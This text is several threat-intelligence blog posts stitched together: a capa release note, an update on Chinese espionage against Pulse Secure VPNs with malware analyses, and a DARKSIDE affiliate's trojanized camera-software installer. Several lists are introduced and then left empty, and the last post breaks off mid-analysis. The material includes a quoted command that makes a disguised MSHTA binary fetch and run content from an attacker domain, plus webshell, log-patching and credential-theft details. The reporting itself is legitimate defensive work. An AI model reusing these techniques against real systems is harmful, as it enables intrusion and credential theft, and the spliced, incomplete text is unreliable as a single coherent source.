Finally, we’ve spent nearly three months migrating capa from Python 2.7 to Python 3. This involved working closely with vivisect and we would like to thank the team for their support. After extensive testing and a couple of releases supporting two Python versions, we’re excited that capa 2.0 and future versions will be Python 3 only.
Now that you’ve seen all the recent improvements to capa, we hope you’ll upgrade to the newest capa version right away! Thanks to library function identification capa will report faster and more relevant results. Hundreds of new rules capture the most interesting malware functionality while the improved capa explorer plugin helps you to focus your analysis and codify your malware knowledge while it’s fresh.
Standalone binaries for Windows, Mac, and Linux are available on the capa Releases page. To install capa from PyPi use the command pip install flare-capa. The source code is available at our capa GitHub page. The project page on GitHub contains detailed documentation, including thorough installation instructions and a walkthrough of capa explorer. Please use GitHub to ask questions, discuss ideas, and submit issues.
We highly encourage you to contribute to capa’s rule corpus. The improved IDA Pro plugin makes it easier than ever before. If you have any issues or ideas related to rules, please let us know on the GitHub repository. Remember, when you share a rule with the community, you scale your impact across hundreds of reverse engineers in dozens of organizations.
On April 20, 2021, Mandiant published detailed results of our investigations into compromised Pulse Secure devices by suspected Chinese espionage operators. This blog post is intended to provide an update on our findings, give additional recommendations to network defenders, and discuss potential implications for U.S.-China strategic relations.
Figure 1: Organizations with compromised
Pulse Secure devices by vertical and geographic location
Pulse Secure continues to work closely with Mandiant, affected customers, government partners, and other forensic experts to address these issues. Pulse Secure’s parent company, Ivanti, has released patches to proactively address software vulnerabilities and issued updated Security Advisories and Knowledge Articles to assist customers. (Please see the Forensics, Remediation, and Hardening Guidelines section for additional details.)
Mandiant is tracking 16 malware families exclusively designed to infect Pulse Secure VPN appliances and used by several cyber espionage groups which we believe are affiliated with the Chinese government. Between April 17 and April 20, 2021, Mandiant incident responders observed UNC2630 access dozens of compromised devices and remove webshells like ATRIUM and SLIGHTPULSE.
Both UNC2630 and UNC2717 display advanced tradecraft and go to impressive lengths to avoid detection. The actors modify file timestamps and regularly edit or delete forensic evidence such as logs, web server core dumps, and files staged for exfiltration. They also demonstrate a deep understanding of network appliances and advanced knowledge of a targeted network. This tradecraft can make it difficult for network defenders to establish a complete list of tools used, credentials stolen, the initial intrusion vector, or the intrusion start date.
We continue to suspect that multiple groups including UNC2630 and UNC2717 are responsible for this activity, despite the use of similar exploits and tools. There is a high degree of variation in attacker actions within victim environments, with actors inconsistently using a combination of tools and command and control IP addresses.
Reverse engineers on the FLARE team have identified four additional malware families specifically designed to manipulate Pulse Secure devices (Table 1). These utilities have similar functions to the 12 previously documented malware families: harvesting credentials and sensitive system data, allowing arbitrary file execution, and removing forensic evidence. Please see the Technical Annex for detailed analysis of these code families.
Malware Family | Description | Actor |
BLOODMINE
| BLOODMINE is a utility for parsing Pulse Secure Connect log files. It extracts information related to logins, Message IDs and Web Requests and copies the relevant data to another file. | UNC2630 |
BLOODBANK
| BLOODBANK is a credential theft utility that parses two files containing password hashes or plaintext passwords and expects an output file to be given at the command prompt. | UNC2630 |
CLEANPULSE
| CLEANPULSE is a memory patching utility that may be used to prevent certain log events from occurring. It was found in close proximity to an ATRIUM webshell. | UNC2630 |
RAPIDPULSE
| RAPIDPULSE is a webshell capable of arbitrary file read. As is common with other webshells, RAPIDPULSE exists as a modification to a legitimate Pulse Secure file. RAPIDPULSE can serve as an encrypted file downloader for the attacker. | UNC2630 |
Table 1: New malware families identified
Initial Compromise
The actors leveraged several vulnerabilities in Pulse Secure VPN appliances. Mandiant observed the use of the recently patched vulnerability CVE-2021-22893 to compromise fully patched Pulse Secure appliances as well as previously disclosed vulnerabilities from 2019 and 2020. In many cases, determining the initial exploitation vector and timeframe was not possible to determine because the actors altered or deleted forensic evidence, or the appliance had undergone subsequent code upgrades thereby destroying evidence related to the initial exploitation.
Establish Foothold
In some cases, Mandiant observed the actors create their own Local Administrator account outside of established credential management controls on Windows servers of strategic value. This allowed the actor to maintain access to systems with short-cycle credential rotation policies and provided a sufficient level of access to operate freely within their target environment. The actors also maintained their foothold into the targeted environments exclusively through Pulse Secure webshells and malware without relying on backdoors deployed on internal Windows or Linux endpoints.
Escalate Privileges
Mandiant observed the actors use three credential harvesting techniques on Windows systems:
In addition to these privilege escalation techniques, the actors specifically targeted separate privileged accounts belonging to individuals whose unprivileged accounts were previously compromised (likely through the Pulse Secure credential harvesting malware families). It is unclear how the account associations were made by the actor.
Internal Reconnaissance
Mandiant found evidence that the actors renamed their own workstations that they connected to the VPN of victim networks to mimic the naming convention of their target environment. This practice aligns with the actor’s objective for long-term persistence and evading detection and demonstrates a familiarity with the internal hostnames in the victim environment.
The actors operated solely by utilizing Windows-based utilities to carry out tasks. Some of the utilities observed were net.exe, quser.exe, powershell.exe, powershell_ise.exe, findstr.exe, netstat.exe, cmd.exe, reg.exe and tasklist.exe.
Move Laterally
Most lateral movement originated from compromised Pulse Secure VPN appliances to internal systems within the environment. While connected to the Pulse VPN appliance, the actor’s system was assigned an IP address from the Pulse VPN DHCP pool and they moved laterally throughout the environments by leveraging the Remote Desktop Protocol (RDP), the Secure Shell Protocol (SSH), and browser-based communication to HTTPS hosted resources. The actors also accessed other resources such as Microsoft M365 cloud environments using stolen credentials they had previously acquired.
Mandiant also observed the actors targeting ESXi host servers. The actor enabled SSH on ESXi hosts that were previously disabled via the web interface. When their operations on the system were finished, the actors disabled SSH on the ESXi host again and cleared or preemptively disabled all relevant logging associated with the performed activities. This includes authentication, command history, and message logging on the system.
Maintain Presence
Mandiant observed the threat actor maintain persistence by compromising the upgrade process on the Pulse Secure Appliance. Persistence was primarily achieved by modifying the legitimate DSUpgrade.pm file to install the ATRIUM webshell across each upgrade performed by an administrator. The actor likely chose DSUpgade.pm to host their patch logic as it is a core file in the system upgrade procedure, ensuring the patch is applied during updates. The patcher modifies content in /tmp/data as this directory holds the extracted upgrade image the newly upgraded system will boot into. This results in a persistence mechanism which allows the actor to maintain access to the system across updates.
The actors also achieved persistence in other cases by prepending a bash script to the file /bin/umount normally used to unmount a Linux filesystem. This binary was targeted by the actor because it is executed by the Pulse Secure appliance during a system upgrade. The actor’s script verifies that the umount binary executes with a specific set of arguments, which are identical to the arguments used by the Pulse Secure appliance to executes the binary. The inserted malicious bash script remounts the filesystem as read-write and iterates through a series of bash routines to inject the ATRIUM webshell, hide SLOWPULSE from a legacy file integrity bash script, remove or add itself from the umount file, and validate the web process was running after a reboot to return the filesystem back to read-only.
Complete Mission
The threat actor’s objectives appear to be stealing credentials, maintaining long-term persistent access to victim networks, and accessing or exfiltrating sensitive data. Mandiant has observed the attackers:
Analysis of new malware families is included in the Technical Annex to enable defenders to quickly assess if their respective appliances have been affected. Relevant MITRE ATT&CK techniques, Yara rules and hashes are published on Mandiant’s GitHub page.
To begin an investigation, Pulse Secure users should contact their Customer Support Representative for assistance completing the following steps:
To remediate a compromised Pulse Secure appliance:
To secure the appliance and assist with future investigations, consider implementing the following:
In collaboration with intelligence analysts at BAE Systems Applied Intelligence, Mandiant has identified dozens of organizations across the defense, government, telecommunications, high tech, education, transportation, and financial sectors in the U.S. and Europe that have been compromised via vulnerabilities in Pulse Secure VPNs. Historic Mandiant and BAE investigations identified a significant number of these organizations as previous APT5 targets.
Notably, compromised organizations operate in verticals and industries aligned with Beijing’s strategic objectives as outlined in China’s 14th Five Year Plan. Many manufacturers also compete with Chinese businesses in the high tech, green energy, and telecommunications sectors. Despite this, we have not directly observed the staging or exfiltration of any data by Chinese espionage actors that could be considered a violation of the Obama-Xi agreement.
Targets of Chinese cyber espionage operations are often selected for their alignment with national strategic goals, and there is a strong correlation between pillar industries listed in policy white papers and targets of Chinese cyber espionage activity.
China has outlined eight key areas of vital economic interest for development and production which it views as essential to maintaining global competitiveness, under the following categories: energy, healthcare, railway transportation, telecommunications, national defense and stability, advanced manufacturing, network power, and sports and culture.
Historical Context
In the Red Line Drawn report, Mandiant documented a significant decline in the volume of Chinese cyberespionage activity in 2014 and assessed that the restructuring of China's military and civilian intelligence agencies significantly impacted Chinese cyber operations. Then, in September 2015, President Xi of China concluded a bilateral agreement with U.S. President Obama to prohibit state-sponsored theft of intellectual property for the purpose of providing commercial advantage. Commercial IP theft has historically been a prominent characteristic of Chinese cyber espionage activity.
In 2018 we conducted an extensive review of Chinese cyber espionage operations, both before and after the official announcement of the PLA reforms and bilateral agreement to determine if there were any corresponding changes in the tactics, techniques, and procedures (TTPs) used during Chinese cyberespionage operations. We observed two important changes in the type of information stolen and the geographic distribution of the targets.
Changes in Chinese Espionage Activity between 2019 and 2021
Based on developments observed between 2019-2021, Mandiant Threat Intelligence assesses that most Chinese APT actors now concentrate on lower-volume but more-sophisticated, stealthier operations collecting strategic intelligence to support Chinese strategic political, military, and economic goals. While some of the technical changes may be the result of the restructuring of China's military and civilian organizations, some changes possibly reflect larger technical trends in cyber operations overall.
Redline Withdrawn?
The Obama-Xi agreement prohibits the theft of intellectual property with purely commercial applications for the purpose of gaining a competitive advantage. It does not cover government or diplomatic information, sensitive business communications, IT data, PII, or intellectual property with military or dual use applications.
Given the narrow definition of commercial intellectual property theft and the limited availability of forensic evidence, it is possible that our assessment will change with the discovery of new information.
Evidence collected by Mandiant over the past decade suggests that norms and diplomatic agreements do not significantly limit China's use of its cyber threat capabilities, particularly when serving high-priority missions.
The greater ambition and risk tolerance demonstrated by Chinese policymakers since 2019 indicates that the tempo of Chinese state-sponsored activity may increase in the near future and that the Chinese cyber threat apparatus presents a renewed and serious threat to US and European commercial entities.
Mandiant would like to thank analysts at BAE Systems Applied Intelligence, Stroz Friedberg, and Pulse Secure for their hard work, collaboration and partnership. The team would also like to thank Scott Henderson, Kelli Vanderlee, Jacqueline O'Leary, Michelle Cantos, and all the analysts who worked on Mandiant’s Red Line Redrawn project. The team would also like to thank Mike Dockry, Josh Villanueva, Keith Knapp, and all the incident responders who worked on these engagements.
The following table contains specific FireEye product detection names for the malware families associated with this updated information.
Platform(s) | Detection Name |
Network Security Email Security Detection On Demand Malware File Scanning Malware File Storage Scanning |
|
Endpoint Security | Real-Time Detection (IOC)
|
Helix | Establish Foothold
Escalate Privileges
Internal Reconnaissance
Move Laterally
|
BLOODMINE
BLOODMINE is a utility for parsing Pulse Secure Connect log files. It extracts information related to logins, Message IDs and Web Requests and copies the relevant data to another file.
The sample takes three command line arguments
It parses the input file for login status codes:
AUT31504 |
AUT24414 |
AUT22673 |
AUT22886 |
AUT23574 |
It parses the input file for web results code WEB20174. If it finds a web result code, it looks for file extensions:
.css |
.jpg |
.png |
.gif |
.ico |
.js |
.jsp |
These strings indicate the type of data that is collected from web requests:
Web login, IP: %s, User: %s, Realm: %s, Roles: %s, Browser: %s |
Agent login, IP: %s, User: %s, Realm: %s, Roles: %s, Client: %s |
Logout, IP: %s, User: %s, Realm: %s, Roles: %s |
Session end, IP: %s, User: %s, Realm: %s, Roles: %s |
New session, IP: %s, User: %s, Realm: %s, Roles: %s, New IP: %s |
Host check, Policy: %s |
WebRequest completed, IP: %s, User: %s, Realm: %s, Roles: %s, %s to %s://%s:%s/%s from %s |
BLOODBANK
BLOODBANK is a credential theft utility that parses two LMDB (an in memory database) files and expects an output file to be given at the command prompt. BLOODBANK takes advantage of a legitimate process that supports Single Sign On functionality and looks for plaintext passwords when they are briefly loaded in memory.
The utility parses the following two files containing password hashes or plaintext passwords:
BLOODBANK expects an output file as a command line parameter, otherwise it prints file open error. It contains the following strings which it likely tries to extract and target.
PRIMARY |
SECONDARY |
remoteaddr |
user@ |
logicUR |
logicTim |
passw@ |
userAge |
realm |
Sourc |
CLEANPULSE
CLEANPULSE is a memory patching utility that may be used to prevent certain log events from occurring. The utility inserts two strings from the command line into the target process and patches code to conditionally circumvent a function call in the original executable.
File Name | File Type | Size | Compile Time |
dsrlog | ELF.X86 | 13332 |
|
The utility expects to be run from the command line as follows:
drslog
Where
During installation (using the 'e' or 'E'
During uninstall (using the 'u' or 'U'
The CLEANPULSE utility is highly specific to a victim environment. It does not contain any validation code when patching (i.e. verifying that code is expected prior to modifying it), and it contains hard-coded addresses to patch.
The target code to patch appears to be the byte sequence: 89 4C 24 08 FF 52 04. This appears as the last bytes in the patched code, and is the 8-bytes written when the uninstall 'u' command is given.
These bytes correspond to the following two instructions:
.data:0804B138 89 4C 24 08 mov [esp+8], ecx |
.data:0804B13C FF 52 04 call dword ptr [edx+4] |
This byte sequence occurs at the hard-coded patch address the utility expects, dslogserver. Based on status and error messages in nearby functions the executable dslogserver appears to be related to log event handling, and the purpose of the CLEANPULSE utility may be to prevent certain events from being logged.
There are several un-referenced functions that appear to have been taken from the open source project PUPYRAT. It is likely that the actor re-purposed this open source code, using PUPYRAT as a simple template project.
RAPIDPULSE
RAPIDPULSE is a webshell capable of arbitrary file read. As is common with other webshells, RAPIDPULSE exists as a modification to a legitimate Pulse Secure file.
The webshell modifies the legitimate file's main routine which compares the HTTP query parameter with key name: deviceid to a specific key with value. If the parameter matches, then the sample uses an RC4 key to decrypt HTTP query parameter with key name: hmacTime. This decrypted value is a filename which the sample then opens, reads, RC4 encrypts with the same key, base64 encodes, then writes to stdout. The appliance redirects stdout as the response to HTTP requests. This serves as an encrypted file download for the attacker.
In our public report, we noted two code families that manipulate check_integrity.sh, a legitimate script used during a normal system upgrade. This validation script was modified by the actor to exit early so that it would not perform the intended checks.
Per Ivanti, the validation provided by check_integrity.sh is a separate validation feature and not the same as the Integrity Checker Tool (ICT) available on their website. They recommend that organizations use the online ICT to confirm that hashes of files on their Pulse Secure devices match Ivanti’s list of known good hashes. Please note that the ICT does not scan the rollback partition.
Mandiant observed DARKSIDE affiliate UNC2465 accessing at least one victim through a Trojanized software installer downloaded from a legitimate website. While this victim organization detected the intrusion, engaged Mandiant for incident response, and avoided ransomware, others may be at risk.
As reported in the Mandiant post, "Shining a Light on DARKSIDE Ransomware Operations," Mandiant Consulting has investigated intrusions involving several DARKSIDE affiliates. UNC2465 is one of those DARKSIDE affiliates that Mandiant believes has been active since at least March 2020.
The intrusion that is detailed in this post began on May 18, 2021, which occurred days after the publicly reported shutdown of the overall DARKSIDE program (Mandiant Advantage background). While no ransomware was observed here, Mandiant believes that affiliate groups that have conducted DARKSIDE intrusions may use multiple ransomware affiliate programs and can switch between them at will.
Sometime in May 2021 or earlier, UNC2465 likely Trojanized two software install packages on a CCTV security camera provider website. Mandiant determined the installers were malicious in early June and notified the CCTV company of a potential website compromise, which may have allowed UNC2465 to replace legitimate downloads with the Trojanized ones.
While Mandiant does not suspect many victims were compromised, this technique is being reported for broader awareness. Software supply chain attacks can vary greatly in sophistication, from the recent FireEye-discovered SolarWinds attacks to attacks such as this targeting smaller providers. A software supply chain attack allows a single intrusion to obtain the benefit of access to all of the organizations that run that victim company’s software; in this case, an installer, rather than the software itself, was modified by UNC2465.
In mid-May 2021, Mandiant observed multiple threat actors cite an announcement that appeared to be shared with DARKSIDE RaaS affiliates by the operators of the service. This announcement stated that they lost access to their infrastructure, including their blog, payment, and content distribution network (CDN) servers, and would be closing their service. The post cited law enforcement pressure and pressure from the United States for this decision.
Multiple users on underground forums have since come forward claiming to be unpaid DARKSIDE affiliates, and in some cases privately provided evidence to forum administrators who confirmed that their claims were legitimate. There are some actors who have speculated that the DARKSIDE operator’s decision to close could be an exit scam. While we have not seen evidence suggesting that the operators of the DARKSIDE service have resumed operations, we anticipate that at least some of the former affiliates of the DARKSIDE service will likely identify different ransomware or malware offerings to use within their own operations.
Notably, Mandiant has continued to observe a steady increase in the number of publicly named victims on ransomware shaming sites within the past month. Despite the recent ban of ransomware-related posts within underground forums, threat actors can still leverage private chats and connections to identify ransomware services. As one example, in mid-May 2021, the operator of the SODINOKIBI (aka REvil) RaaS indicated that multiple affiliates from other RaaS platforms that had shut down were switching to their service. Based on the perceived profitability of these operations, it is almost certain that numerous threat actors will continue to conduct widespread ransomware operations for the foreseeable future.
In June 2021, Mandiant Consulting was engaged to respond to an intrusion. During analysis, Mandiant determined the initial vector was a trojanized security camera PVR installer from a legitimate website. Mandiant attributed the overall intrusion activity to DARKSIDE affiliate UNC2465 due to continued use of infrastructure and tooling since October 2020.
On May 18, 2021, a user in the affected organization browsed to the Trojanized link and downloaded the ZIP. Upon installing the software, a chain of downloads and scripts were executed, leading to SMOKEDHAM and later NGROK on the victim’s computer. Additional malware use such as BEACON, and lateral movement also occurred. Mandiant believes the Trojanized software was available from May 18, 2021, through June 8, 2021.
Pivoting on the slightly modified, but benign, MSHTA.exe application in VirusTotal, Mandiant identified a second installer package with the MD5 hash, e9ed774517e129a170cdb856bd13e7e8 (SVStation_Win64-B1130.1.0.0.exe), from May 26, 2021, which also connects out the same URL as the Trojanized SmartPSS installer.
Figure 1: Intrusion cycle
Mandiant Consulting observed the Trojanized installer downloaded on a Windows workstation after the user visited a legitimate site that the victim organization had used before.
The downloaded file was extracted to
C:\Users\[username]\Downloads\06212019-General-SMARTPSS-Win32-ChnEng-IS\General_SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023\SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General-v1.exe.
Mandiant confirmed the user intended to download, install, and use the SmartPSS software. Figure 2 shows an image of the download page used for SmartPSS software.
Figure 2: SmartPSS download page
The installer executable is a Nullsoft installer that when executed wrote two files to C:\ProgramData\SMARTPSS-Win32_ChnEng_IS. We were able to extract the malicious installer script and files for analysis using 7-Zip. The relevant section of this installer script is shown below in Figure 3.
Figure 3: Nullsoft installer script section
The installer script created two files: SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General.exe (b540b8a341c20dced4bad4e568b4cbf9) and smartpss.exe (c180f493ce2e609c92f4a66de9f02ed6). The former is a clean installer from the original developer and is launched first, installing the software as the user may expect. The latter is launched with a command line URL executing the content.
The smartpss.exe file contained metadata describing itself as MSHTA.exe from Microsoft, a legitimate operating system component, but the MD5 hash was unknown. Disassembly analysis of the program showed it was a small application that loaded the IE COM object and launched the function RunHTMLApplication() against the command line argument provided. This functionality matched the behavior of the legitimate MSHTA.exe despite the hash discrepancy. Further analysis showed that the malware was based on a 2018 version of the binary (original hash: 5ced5d5b469724d9992f5e8117ecefb5) with only six bytes of data appended, as shown in Figure 4.
Figure 4: CyberChef diff between
MSHTA.exe and smartpss.exe
Upon execution, the modified Mshta file was executed with the URL, hxxp://sdoc[.]xyz/ID-508260156241, and passed as an argument on the command line.
Domain sdoc[.]xyz was first associated with UNC2465 by RiskIQ in a May 20, 2021, blog post researching the infrastructure that Mandiant previously reported. According to RiskIQ, sdoc[.]xyz shares a registrant with koliz[.]xyz, which was also observed by Mandiant in past UNC2465 intrusions.
C:\PROGRAMDATA\SMARTPSS-Win32_ChnEng_IS\smartpss.exe hxxp://sdoc[.]xyz/ID-508260156241 |
The execution of the modified Mshta file resulted in the creation of a HTM file called loubSi78Vgb9[1].htm that was written to a temporary INetCache directory. Mandiant was not able to acquire this file at the time of writing; however, Mandiant was able to recover partial contents of the file.
.. |